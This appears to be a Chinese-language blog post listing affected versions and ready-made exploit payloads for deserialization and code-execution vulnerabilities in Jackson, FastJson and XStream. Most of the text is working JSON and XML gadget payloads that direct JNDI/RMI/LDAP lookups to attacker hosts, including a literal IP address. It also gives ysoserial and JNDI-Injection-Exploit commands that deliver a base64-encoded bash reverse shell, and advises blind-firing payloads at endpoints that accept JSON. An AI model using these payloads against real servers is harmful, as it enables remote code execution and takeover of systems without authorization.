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Jackson--FastJson--XStream--代码执行&&反序列化

发布时间 2023-10-11 09:15:14作者: 了了青山见

Jackson--FastJson--XStream--代码执行&&反序列化

Jackson代码执行 (CVE-2020-8840)

影响范围

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2
不受影响版本
FasterXML jackson-databind = 2.8.11.5
FasterXML jackson-databind = 2.9.10.3

漏洞利用

POC：

String json = "["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://localhost:1389/Exploit"}]";

Jackson代码执行 (CVE-2020-35728)

影响范围

FasterXML jackson-databind 2.x < 2.9.10.8

漏洞利用

POC

String payload = "["com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"rmi://47.94.236.117:1099/gtaafz"}]";

FastJson 反序列化漏洞

漏洞发现

白盒：直接查看项目中pom.xml中的组件版本即可
黑盒：抓包时发现哪些数据包发送了json数据，即可进行盲打

影响范围

FastJson <= 1.2.24

漏洞利用

payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

影响范围

FastJson <= 1.2.47

漏洞利用

payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

影响范围

FastJson <= 1.2.80

漏洞利用

在利用该版本范围时，只能通过项目中所调用的模块和本身类文件来进行利用
fastjson_payload

Xstream 代码执行 (CVE-2021-21351)

影响范围

Xstream<=1.4.15

漏洞利用

使用JNDI注入工具生成反弹shell命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64反弹shell命令}|{base64,-d}|{bash,-i}" -A 攻击机地址

将xml类型payload替换使用JNDI工具生成的class文件地址发送至目标服务器接受解析

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <__overrideDefaultParser>false</__overrideDefaultParser>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://evil-ip:1099/example</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream 远程代码执行 （CVE-2021-29505）

影响范围

XStream <= 1.4.16

漏洞利用

使用java反序列化工具使用JRMP模块开启JRMP监听

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 "bash -c {echo,base64反弹shell}|{base64,-d}|{bash,-i}"

将JRMP监听地址替换xml型payload，抓包发送至目标服务器解析xml格式处

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>47.94.236.117</string>
                                                <int>1089</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>开启jrmp服务的主机ip</host>
                                        <port>jrmp端口</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>